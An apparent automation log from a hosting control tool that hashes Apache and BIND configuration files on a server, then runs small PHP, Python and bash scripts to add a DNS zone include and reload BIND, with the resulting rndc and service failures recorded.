MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= c202940d12afc709bc209702a23693a1
MD5(/etc/apache2/sites-available/hopeinstoughton_backup_org.conf)= d6dc9d43d121926a46faa5eec5bdcd92
MD5(/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt)= 7b0d1f1ff576eb65313134d488a758c4
MD5(/etc/apache2/sites-available/osnowybiblii_www_info.conf)= e14143658423f8b0c73a4a18085300aa
MD5(/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt)= 9d3953ec22db1f162225b0cad02797d8
MD5(/etc/apache2/sites-available/hostz_mars_org.conf)= 88f5f31beef6497b68a0b8c080aa1b3a
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d)= e6793b5dec675b86d1ddb7df78c5dcbc
MD5(/etc/apache2/sites-available/youngrepairs_www_com.conf)= 6b1fadb310fdb1a74e18cd1d700b4db4
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/realchrist_www_info.conf)= a6b7d2fd0d0f98cbf19ec30bb5a7ea7d
MD5(/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt)= 6b8c65fa02be730c3aa1ad3e520d0471
MD5(/etc/apache2/sites-available/hopeinstoughton_media_org.conf)= 4d7d9c7a117fe73b85302c4606bc86a5
MD5(/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt)= cb58d8a7f89e412fc58513e9580bfbe2
MD5(/etc/apache2/sites-available/bible-basics_www_info.conf)= 35d736d6ea8eac9bc27d8a77cf53c71d
MD5(/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt)= 27dc3c9248dffe4867c06ef996eee7da
MD5(/etc/apache2/sites-available/exjw_www_org-uk.conf)= 776235e1ea430b8c13c2c33d7a33deea
MD5(/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt)= a4148807538e2363efd96fab60e7488e
MD5(/etc/apache2/sites-available/baptizo_www_info.conf)= 328a5caaad75a554798c5f1b364c0d94
MD5(/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt)= ee97524ee7f30c0bf2722b085af7e853
link(/etc/apache2/sites-enabled/croydonchurch_www_info.conf)= /etc/apache2/sites-available/croydonchurch_www_info.conf
link(/etc/apache2/sites-enabled/maminas_www_info.conf)= /etc/apache2/sites-available/maminas_www_info.conf
link(/etc/apache2/sites-enabled/carelinks_new_net.conf)= /etc/apache2/sites-available/carelinks_new_net.conf
link(/etc/apache2/sites-enabled/000-hostz_mars_org.conf)= /etc/apache2/sites-available/hostz_mars_org.conf
link(/etc/apache2/sites-enabled/carelinks_www_org-uk.conf)= /etc/apache2/sites-available/carelinks_www_org-uk.conf
link(/etc/apache2/sites-enabled/r-b-c_www_org.conf)= /etc/apache2/sites-available/r-b-c_www_org.conf
link(/etc/apache2/sites-enabled/carelinks-uk_www_org.conf)= /etc/apache2/sites-available/carelinks-uk_www_org.conf
link(/etc/apache2/sites-enabled/vards_www_info.conf)= /etc/apache2/sites-available/vards_www_info.conf
link(/etc/apache2/sites-enabled/persianchurch_www_info.conf)= /etc/apache2/sites-available/persianchurch_www_info.conf
link(/etc/apache2/sites-enabled/pjy_croydon_us.conf)= /etc/apache2/sites-available/pjy_croydon_us.conf
link(/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf)= /etc/apache2/sites-available/dalmenynaroomabushwalkers_www_info.conf
link(/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf)= /etc/apache2/sites-available/biblebasicsonline_www_com.conf
link(/etc/apache2/sites-enabled/freebible_www_info.conf)= /etc/apache2/sites-available/freebible_www_info.conf
link(/etc/apache2/sites-enabled/christadelphian_www_video.conf)= /etc/apache2/sites-available/christadelphian_www_video.conf
link(/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf)= /etc/apache2/sites-available/carelinksaustralia_www_info.conf
link(/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf)= /etc/apache2/sites-available/christadelphianfraternal_www_info.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf)= /etc/apache2/sites-available/hopeinstoughton_backup_org.conf
link(/etc/apache2/sites-enabled/osnowybiblii_www_info.conf)= /etc/apache2/sites-available/osnowybiblii_www_info.conf
link(/etc/apache2/sites-enabled/youngrepairs_www_com.conf)= /etc/apache2/sites-available/youngrepairs_www_com.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/realchrist_www_info.conf)= /etc/apache2/sites-available/realchrist_www_info.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf)= /etc/apache2/sites-available/hopeinstoughton_media_org.conf
link(/etc/apache2/sites-enabled/bible-basics_www_info.conf)= /etc/apache2/sites-available/bible-basics_www_info.conf
link(/etc/apache2/sites-enabled/exjw_www_org-uk.conf)= /etc/apache2/sites-available/exjw_www_org-uk.conf
link(/etc/apache2/sites-enabled/baptizo_www_info.conf)= /etc/apache2/sites-available/baptizo_www_info.conf




STDERR:
/tmp/pkp711077:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2026-04-25 17:59:14: Establishing a connection
2026-04-25 17:59:14: Establishing a connection
2026-04-25 17:59:15: 

PUT: /tmp/pkp548755

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 17:59:15: 

runuser -l bind -s /bin/bash -c '/tmp/pkp548755; rm /tmp/pkp548755'

2026-04-25 17:59:15: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 17:59:15: 

PUT: /tmp/pkp734143

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = 'cf381d1fff06090b5818429e32e6000e'
ZONE_NAME = ''
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2026-04-25 17:59:15: 

chmod 755 /tmp/pkp734143; /tmp/pkp734143; rm /tmp/pkp734143

2026-04-25 17:59:15: 


rndc: 'reconfig' failed: failure




STDERR:
rndc: 'reconfig' failed: failure


2026-04-25 17:59:15: 

PUT: /tmp/pkp443362

#!/bin/bash

if [ -f "/usr/bin/yum" ]; then

	echo status=not implemented
	
elif [ -f "/usr/bin/apt-get" ]; then

	systemctl is-active --quiet bind9.service
	retVal=$?
	if [ $retVal -ne 0 ]; then
			echo "status=Starting BIND9"
			systemctl start bind9.service
	else
			echo "status=Reloading BIND9"
			systemctl reload bind9.service
	fi

fi


2026-04-25 17:59:15: 

chmod 755 /tmp/pkp443362; /tmp/pkp443362; rm /tmp/pkp443362

2026-04-25 17:59:15: 


status=Reloading BIND9
Job for named.service failed.
See "systemctl status named.service" and "journalctl -xeu named.service" for details.




STDERR:
Job for named.service failed.
See "systemctl status named.service" and "journalctl -xeu named.service" for details.


2026-04-25 17:59:15: Establishing a connection
2026-04-25 17:59:18: 

PUT: /tmp/pkp924341

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = 'cf381d1fff06090b5818429e32e6000e'
ZONE_NAME = ''
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2026-04-25 17:59:18: 

chmod 755 /tmp/pkp924341; /tmp/pkp924341; rm /tmp/pkp924341

2026-04-25 17:59:18: 


rndc: 'reconfig' failed: failure




STDERR:
rndc: 'reconfig' failed: failure


2026-04-25 17:59:18: 

PUT: /tmp/pkp932317

#!/bin/bash

if [ -f "/usr/bin/yum" ]; then

	echo status=not implemented
	
elif [ -f "/usr/bin/apt-get" ]; then

	systemctl is-active --quiet bind9.service
	retVal=$?
	if [ $retVal -ne 0 ]; then
			echo "status=Starting BIND9"
			systemctl start bind9.service
	else
			echo "status=Reloading BIND9"
			systemctl reload bind9.service
	fi

fi


2026-04-25 17:59:19: 

chmod 755 /tmp/pkp932317; /tmp/pkp932317; rm /tmp/pkp932317

2026-04-25 17:59:19: 


status=Reloading BIND9
Job for named.service failed.
See "systemctl status named.service" and "journalctl -xeu named.service" for details.




STDERR:
Job for named.service failed.
